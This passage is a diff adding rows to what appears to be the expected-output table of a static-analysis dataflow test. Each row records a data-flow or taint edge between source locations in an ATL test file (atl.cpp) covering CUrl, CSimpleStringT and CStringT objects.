+| atl.cpp:884:7:884:10 | ref arg url2 | atl.cpp:886:5:886:5 | url2 |  |
+| atl.cpp:888:12:888:15 | call to CUrl | atl.cpp:889:7:889:10 | url2 |  |
+| atl.cpp:888:12:888:15 | call to CUrl | atl.cpp:890:12:890:15 | url2 |  |
+| atl.cpp:888:12:888:15 | call to CUrl | atl.cpp:891:5:891:5 | url2 |  |
+| atl.cpp:889:7:889:10 | ref arg url2 | atl.cpp:890:12:890:15 | url2 |  |
+| atl.cpp:889:7:889:10 | ref arg url2 | atl.cpp:891:5:891:5 | url2 |  |
+| atl.cpp:893:12:893:15 | call to CUrl | atl.cpp:894:7:894:10 | url2 |  |
+| atl.cpp:893:12:893:15 | call to CUrl | atl.cpp:895:12:895:15 | url2 |  |
+| atl.cpp:893:12:893:15 | call to CUrl | atl.cpp:896:5:896:5 | url2 |  |
+| atl.cpp:894:7:894:10 | ref arg url2 | atl.cpp:895:12:895:15 | url2 |  |
+| atl.cpp:894:7:894:10 | ref arg url2 | atl.cpp:896:5:896:5 | url2 |  |
+| atl.cpp:898:12:898:15 | call to CUrl | atl.cpp:899:7:899:10 | url2 |  |
+| atl.cpp:898:12:898:15 | call to CUrl | atl.cpp:900:12:900:15 | url2 |  |
+| atl.cpp:898:12:898:15 | call to CUrl | atl.cpp:901:5:901:5 | url2 |  |
+| atl.cpp:899:7:899:10 | ref arg url2 | atl.cpp:900:12:900:15 | url2 |  |
+| atl.cpp:899:7:899:10 | ref arg url2 | atl.cpp:901:5:901:5 | url2 |  |
+| atl.cpp:955:15:955:35 | call to indirect_source | atl.cpp:957:29:957:29 | x |  |
+| atl.cpp:955:15:955:35 | call to indirect_source | atl.cpp:960:29:960:29 | x |  |
+| atl.cpp:955:15:955:35 | call to indirect_source | atl.cpp:979:46:979:46 | x |  |
+| atl.cpp:955:15:955:35 | call to indirect_source | atl.cpp:983:51:983:51 | x |  |
+| atl.cpp:955:15:955:35 | call to indirect_source | atl.cpp:987:56:987:56 | x |  |
+| atl.cpp:957:29:957:43 | call to CSimpleStringT | atl.cpp:958:10:958:11 | s1 |  |
+| atl.cpp:957:29:957:43 | call to CSimpleStringT | atl.cpp:1009:52:1009:53 | s1 |  |
+| atl.cpp:957:29:957:43 | call to CSimpleStringT | atl.cpp:1011:10:1011:11 | s1 |  |
+| atl.cpp:957:29:957:43 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s1 |  |
+| atl.cpp:960:29:960:39 | call to CSimpleStringT | atl.cpp:961:10:961:11 | s2 |  |
+| atl.cpp:960:29:960:39 | call to CSimpleStringT | atl.cpp:963:29:963:30 | s2 |  |
+| atl.cpp:960:29:960:39 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s2 |  |
+| atl.cpp:963:29:963:30 | s2 | atl.cpp:963:29:963:31 | call to CSimpleStringT |  |
+| atl.cpp:963:29:963:31 | call to CSimpleStringT | atl.cpp:964:10:964:11 | s3 |  |
+| atl.cpp:963:29:963:31 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s3 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:967:5:967:6 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:968:10:968:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:971:15:971:16 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:990:10:990:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:991:10:991:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:992:10:992:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:993:10:993:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:995:10:995:11 | s4 |  |
+| atl.cpp:966:26:966:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:968:10:968:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:971:15:971:16 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:990:10:990:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:991:10:991:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:992:10:992:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:993:10:993:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:995:10:995:11 | s4 |  |
+| atl.cpp:967:5:967:6 | ref arg s4 | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:970:26:970:27 | call to CSimpleStringT | atl.cpp:971:5:971:6 | s5 |  |
+| atl.cpp:970:26:970:27 | call to CSimpleStringT | atl.cpp:972:10:972:11 | s5 |  |
+| atl.cpp:970:26:970:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s5 |  |
+| atl.cpp:971:5:971:6 | ref arg s5 | atl.cpp:972:10:972:11 | s5 |  |
+| atl.cpp:971:5:971:6 | ref arg s5 | atl.cpp:1012:3:1012:3 | s5 |  |
+| atl.cpp:974:26:974:27 | call to CSimpleStringT | atl.cpp:975:5:975:6 | s6 |  |
+| atl.cpp:974:26:974:27 | call to CSimpleStringT | atl.cpp:976:10:976:11 | s6 |  |
+| atl.cpp:974:26:974:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s6 |  |
+| atl.cpp:975:5:975:6 | ref arg s6 | atl.cpp:976:10:976:11 | s6 |  |
+| atl.cpp:975:5:975:6 | ref arg s6 | atl.cpp:1012:3:1012:3 | s6 |  |
+| atl.cpp:978:10:978:16 | buffer1 | atl.cpp:979:37:979:43 | buffer1 |  |
+| atl.cpp:978:10:978:16 | buffer1 | atl.cpp:980:10:980:16 | buffer1 |  |
+| atl.cpp:979:37:979:43 | ref arg buffer1 | atl.cpp:980:10:980:16 | buffer1 |  |
+| atl.cpp:982:10:982:16 | buffer2 | atl.cpp:983:37:983:43 | buffer2 |  |
+| atl.cpp:982:10:982:16 | buffer2 | atl.cpp:984:10:984:16 | buffer2 |  |
+| atl.cpp:983:37:983:43 | ref arg buffer2 | atl.cpp:984:10:984:16 | buffer2 |  |
+| atl.cpp:986:10:986:16 | buffer3 | atl.cpp:987:47:987:53 | buffer3 |  |
+| atl.cpp:986:10:986:16 | buffer3 | atl.cpp:988:10:988:16 | buffer3 |  |
+| atl.cpp:987:47:987:53 | ref arg buffer3 | atl.cpp:988:10:988:16 | buffer3 |  |
+| atl.cpp:991:10:991:11 | ref arg s4 | atl.cpp:992:10:992:11 | s4 |  |
+| atl.cpp:991:10:991:11 | ref arg s4 | atl.cpp:993:10:993:11 | s4 |  |
+| atl.cpp:991:10:991:11 | ref arg s4 | atl.cpp:995:10:995:11 | s4 |  |
+| atl.cpp:991:10:991:11 | ref arg s4 | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:992:10:992:11 | ref arg s4 | atl.cpp:993:10:993:11 | s4 |  |
+| atl.cpp:992:10:992:11 | ref arg s4 | atl.cpp:995:10:995:11 | s4 |  |
+| atl.cpp:992:10:992:11 | ref arg s4 | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:993:10:993:11 | ref arg s4 | atl.cpp:995:10:995:11 | s4 |  |
+| atl.cpp:993:10:993:11 | ref arg s4 | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:995:10:995:11 | ref arg s4 | atl.cpp:1012:3:1012:3 | s4 |  |
+| atl.cpp:997:26:997:27 | call to CSimpleStringT | atl.cpp:998:5:998:6 | s7 |  |
+| atl.cpp:997:26:997:27 | call to CSimpleStringT | atl.cpp:999:10:999:11 | s7 |  |
+| atl.cpp:997:26:997:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s7 |  |
+| atl.cpp:998:5:998:6 | ref arg s7 | atl.cpp:999:10:999:11 | s7 |  |
+| atl.cpp:998:5:998:6 | ref arg s7 | atl.cpp:1012:3:1012:3 | s7 |  |
+| atl.cpp:1001:26:1001:27 | call to CSimpleStringT | atl.cpp:1002:5:1002:6 | s8 |  |
+| atl.cpp:1001:26:1001:27 | call to CSimpleStringT | atl.cpp:1003:10:1003:11 | s8 |  |
+| atl.cpp:1001:26:1001:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s8 |  |
+| atl.cpp:1002:5:1002:6 | ref arg s8 | atl.cpp:1003:10:1003:11 | s8 |  |
+| atl.cpp:1002:5:1002:6 | ref arg s8 | atl.cpp:1012:3:1012:3 | s8 |  |
+| atl.cpp:1005:26:1005:27 | call to CSimpleStringT | atl.cpp:1006:5:1006:6 | s9 |  |
+| atl.cpp:1005:26:1005:27 | call to CSimpleStringT | atl.cpp:1007:10:1007:11 | s9 |  |
+| atl.cpp:1005:26:1005:27 | call to CSimpleStringT | atl.cpp:1012:3:1012:3 | s9 |  |
+| atl.cpp:1006:5:1006:6 | ref arg s9 | atl.cpp:1007:10:1007:11 | s9 |  |
+| atl.cpp:1006:5:1006:6 | ref arg s9 | atl.cpp:1012:3:1012:3 | s9 |  |
+| atl.cpp:1100:17:1100:31 | call to source | atl.cpp:1102:23:1102:23 | v |  |
+| atl.cpp:1100:17:1100:31 | call to source | atl.cpp:1105:23:1105:23 | v |  |
+| atl.cpp:1102:23:1102:23 | v | atl.cpp:1102:23:1102:24 | call to CStringT | TAINT |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1103:10:1103:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1137:45:1137:46 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1139:17:1139:18 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1173:10:1173:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1179:10:1179:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1180:10:1180:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1181:10:1181:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1182:10:1182:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1195:5:1195:6 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1102:23:1102:24 | call to CStringT | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1105:23:1105:33 | call to CStringT | atl.cpp:1106:10:1106:11 | s2 |  |
+| atl.cpp:1105:23:1105:33 | call to CStringT | atl.cpp:1108:23:1108:24 | s2 |  |
+| atl.cpp:1105:23:1105:33 | call to CStringT | atl.cpp:1192:10:1192:11 | s2 |  |
+| atl.cpp:1105:23:1105:33 | call to CStringT | atl.cpp:1213:3:1213:3 | s2 |  |
+| atl.cpp:1108:23:1108:24 | s2 | atl.cpp:1108:23:1108:25 | call to CStringT |  |
+| atl.cpp:1108:23:1108:25 | call to CStringT | atl.cpp:1109:10:1109:11 | s3 |  |
+| atl.cpp:1108:23:1108:25 | call to CStringT | atl.cpp:1213:3:1213:3 | s3 |  |
+| atl.cpp:1111:15:1111:35 | call to indirect_source | atl.cpp:1112:23:1112:23 | x |  |
+| atl.cpp:1111:15:1111:35 | call to indirect_source | atl.cpp:1119:23:1119:23 | x |  |
+| atl.cpp:1111:15:1111:35 | call to indirect_source | atl.cpp:1166:19:1166:19 | x |  |
+| atl.cpp:1111:15:1111:35 | call to indirect_source | atl.cpp:1185:24:1185:24 | x |  |
+| atl.cpp:1112:23:1112:23 | ref arg x | atl.cpp:1119:23:1119:23 | x |  |
+| atl.cpp:1112:23:1112:23 | ref arg x | atl.cpp:1166:19:1166:19 | x |  |
+| atl.cpp:1112:23:1112:23 | ref arg x | atl.cpp:1185:24:1185:24 | x |  |
+| atl.cpp:1112:23:1112:23 | x | atl.cpp:1112:23:1112:24 | call to CStringT | TAINT |
+| atl.cpp:1112:23:1112:24 | call to CStringT | atl.cpp:1113:10:1113:11 | s4 |  |
+| atl.cpp:1112:23:1112:24 | call to CStringT | atl.cpp:1213:3:1213:3 | s4 |  |
+| atl.cpp:1115:18:1115:41 | call to indirect_source | atl.cpp:1116:26:1116:26 | y |  |
+| atl.cpp:1115:18:1115:41 | call to indirect_source | atl.cpp:1122:26:1122:26 | y |  |
+| atl.cpp:1116:26:1116:26 | ref arg y | atl.cpp:1122:26:1122:26 | y |  |
+| atl.cpp:1116:26:1116:26 | y | atl.cpp:1116:26:1116:27 | call to CStringT | TAINT |
+| atl.cpp:1116:26:1116:27 | call to CStringT | atl.cpp:1117:10:1117:11 | s5 |  |
+| atl.cpp:1116:26:1116:27 | call to CStringT | atl.cpp:1213:3:1213:3 | s5 |  |
+| atl.cpp:1119:23:1119:33 | call to CStringT | atl.cpp:1120:10:1120:11 | s6 |  |
+| atl.cpp:1119:23:1119:33 | call to CStringT | atl.cpp:1213:3:1213:3 | s6 |  |
+| atl.cpp:1122:26:1122:36 | call to CStringT | atl.cpp:1123:10:1123:11 | s7 |  |
+| atl.cpp:1122:26:1122:36 | call to CStringT | atl.cpp:1213:3:1213:3 | s7 |  |
+| atl.cpp:1125:26:1125:55 | call to indirect_source | atl.cpp:1126:23:1126:25 | ucs |  |
+| atl.cpp:1126:23:1126:25 | ucs | atl.cpp:1126:23:1126:26 | call to CStringT | TAINT |
+| atl.cpp:1126:23:1126:26 | call to CStringT | atl.cpp:1127:10:1127:11 | s8 |  |
+| atl.cpp:1126:23:1126:26 | call to CStringT | atl.cpp:1213:3:1213:3 | s8 |  |
+| atl.cpp:1129:14:1129:25 | call to source | atl.cpp:1130:23:1130:23 | c |  |
+| atl.cpp:1130:23:1130:23 | c | atl.cpp:1130:23:1130:24 | call to CStringT | TAINT |
+| atl.cpp:1130:23:1130:24 | call to CStringT | atl.cpp:1131:10:1131:11 | s9 |  |
+| atl.cpp:1130:23:1130:24 | call to CStringT | atl.cpp:1213:3:1213:3 | s9 |  |
+| atl.cpp:1133:18:1133:32 | call to source | atl.cpp:1134:27:1134:28 | wc |  |
+| atl.cpp:1134:27:1134:28 | wc | atl.cpp:1134:27:1134:29 | call to CStringT | TAINT |
+| atl.cpp:1134:27:1134:29 | call to CStringT | atl.cpp:1135:10:1135:12 | s10 |  |
+| atl.cpp:1134:27:1134:29 | call to CStringT | atl.cpp:1213:3:1213:3 | s10 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1173:10:1173:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1179:10:1179:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1180:10:1180:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1181:10:1181:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1182:10:1182:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1195:5:1195:6 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1139:17:1139:18 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1139:20:1139:33 | call to AllocSysString | atl.cpp:1140:10:1140:13 | bstr |  |
+| atl.cpp:1142:20:1142:22 | call to CStringT | atl.cpp:1143:5:1143:7 | s11 |  |
+| atl.cpp:1142:20:1142:22 | call to CStringT | atl.cpp:1144:10:1144:12 | s11 |  |
+| atl.cpp:1142:20:1142:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s11 |  |
+| atl.cpp:1143:5:1143:7 | ref arg s11 | atl.cpp:1144:10:1144:12 | s11 |  |
+| atl.cpp:1143:5:1143:7 | ref arg s11 | atl.cpp:1213:3:1213:3 | s11 |  |
+| atl.cpp:1146:20:1146:22 | call to CStringT | atl.cpp:1147:5:1147:7 | s12 |  |
+| atl.cpp:1146:20:1146:22 | call to CStringT | atl.cpp:1148:10:1148:12 | s12 |  |
+| atl.cpp:1146:20:1146:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s12 |  |
+| atl.cpp:1147:5:1147:7 | ref arg s12 | atl.cpp:1148:10:1148:12 | s12 |  |
+| atl.cpp:1147:5:1147:7 | ref arg s12 | atl.cpp:1213:3:1213:3 | s12 |  |
+| atl.cpp:1150:20:1150:22 | call to CStringT | atl.cpp:1151:5:1151:7 | s13 |  |
+| atl.cpp:1150:20:1150:22 | call to CStringT | atl.cpp:1152:10:1152:12 | s13 |  |
+| atl.cpp:1150:20:1150:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s13 |  |
+| atl.cpp:1151:5:1151:7 | ref arg s13 | atl.cpp:1152:10:1152:12 | s13 |  |
+| atl.cpp:1151:5:1151:7 | ref arg s13 | atl.cpp:1213:3:1213:3 | s13 |  |
+| atl.cpp:1154:20:1154:22 | call to CStringT | atl.cpp:1155:5:1155:7 | s14 |  |
+| atl.cpp:1154:20:1154:22 | call to CStringT | atl.cpp:1156:10:1156:12 | s14 |  |
+| atl.cpp:1154:20:1154:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s14 |  |
+| atl.cpp:1155:5:1155:7 | ref arg s14 | atl.cpp:1156:10:1156:12 | s14 |  |
+| atl.cpp:1155:5:1155:7 | ref arg s14 | atl.cpp:1213:3:1213:3 | s14 |  |
+| atl.cpp:1158:20:1158:22 | call to CStringT | atl.cpp:1159:5:1159:7 | s15 |  |
+| atl.cpp:1158:20:1158:22 | call to CStringT | atl.cpp:1160:10:1160:12 | s15 |  |
+| atl.cpp:1158:20:1158:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s15 |  |
+| atl.cpp:1159:5:1159:7 | ref arg s15 | atl.cpp:1160:10:1160:12 | s15 |  |
+| atl.cpp:1159:5:1159:7 | ref arg s15 | atl.cpp:1213:3:1213:3 | s15 |  |
+| atl.cpp:1162:20:1162:22 | call to CStringT | atl.cpp:1163:5:1163:7 | s16 |  |
+| atl.cpp:1162:20:1162:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s16 |  |
+| atl.cpp:1163:5:1163:7 | ref arg s16 | atl.cpp:1213:3:1213:3 | s16 |  |
+| atl.cpp:1165:20:1165:22 | call to CStringT | atl.cpp:1166:5:1166:7 | s17 |  |
+| atl.cpp:1165:20:1165:22 | call to CStringT | atl.cpp:1167:10:1167:12 | s17 |  |
+| atl.cpp:1165:20:1165:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s17 |  |
+| atl.cpp:1166:5:1166:7 | ref arg s17 | atl.cpp:1167:10:1167:12 | s17 |  |
+| atl.cpp:1166:5:1166:7 | ref arg s17 | atl.cpp:1213:3:1213:3 | s17 |  |
+| atl.cpp:1169:20:1169:22 | call to CStringT | atl.cpp:1170:5:1170:7 | s18 |  |
+| atl.cpp:1169:20:1169:22 | call to CStringT | atl.cpp:1171:10:1171:12 | s18 |  |
+| atl.cpp:1169:20:1169:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s18 |  |
+| atl.cpp:1170:5:1170:7 | ref arg s18 | atl.cpp:1171:10:1171:12 | s18 |  |
+| atl.cpp:1170:5:1170:7 | ref arg s18 | atl.cpp:1213:3:1213:3 | s18 |  |
+| atl.cpp:1175:20:1175:22 | call to CStringT | atl.cpp:1176:5:1176:7 | s20 |  |
+| atl.cpp:1175:20:1175:22 | call to CStringT | atl.cpp:1177:10:1177:12 | s20 |  |
+| atl.cpp:1175:20:1175:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s20 |  |
+| atl.cpp:1176:5:1176:7 | ref arg s20 | atl.cpp:1177:10:1177:12 | s20 |  |
+| atl.cpp:1176:5:1176:7 | ref arg s20 | atl.cpp:1213:3:1213:3 | s20 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1180:10:1180:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1181:10:1181:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1182:10:1182:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1195:5:1195:6 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1179:10:1179:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1181:10:1181:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1182:10:1182:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1195:5:1195:6 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1180:10:1180:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1182:10:1182:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1195:5:1195:6 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1181:10:1181:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1184:20:1184:22 | call to CStringT | atl.cpp:1185:5:1185:7 | s21 |  |
+| atl.cpp:1184:20:1184:22 | call to CStringT | atl.cpp:1186:10:1186:12 | s21 |  |
+| atl.cpp:1184:20:1184:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s21 |  |
+| atl.cpp:1185:5:1185:7 | ref arg s21 | atl.cpp:1186:10:1186:12 | s21 |  |
+| atl.cpp:1185:5:1185:7 | ref arg s21 | atl.cpp:1213:3:1213:3 | s21 |  |
+| atl.cpp:1188:20:1188:22 | call to CStringT | atl.cpp:1189:5:1189:7 | s22 |  |
+| atl.cpp:1188:20:1188:22 | call to CStringT | atl.cpp:1190:10:1190:12 | s22 |  |
+| atl.cpp:1188:20:1188:22 | call to CStringT | atl.cpp:1213:3:1213:3 | s22 |  |
+| atl.cpp:1189:5:1189:7 | ref arg s22 | atl.cpp:1190:10:1190:12 | s22 |  |
+| atl.cpp:1189:5:1189:7 | ref arg s22 | atl.cpp:1213:3:1213:3 | s22 |  |
+| atl.cpp:1194:10:1194:14 | bstr2 | atl.cpp:1195:22:1195:26 | bstr2 |  |
+| atl.cpp:1194:10:1194:14 | bstr2 | atl.cpp:1196:10:1196:14 | bstr2 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1198:10:1198:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1199:10:1199:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1202:10:1202:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1204:10:1204:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
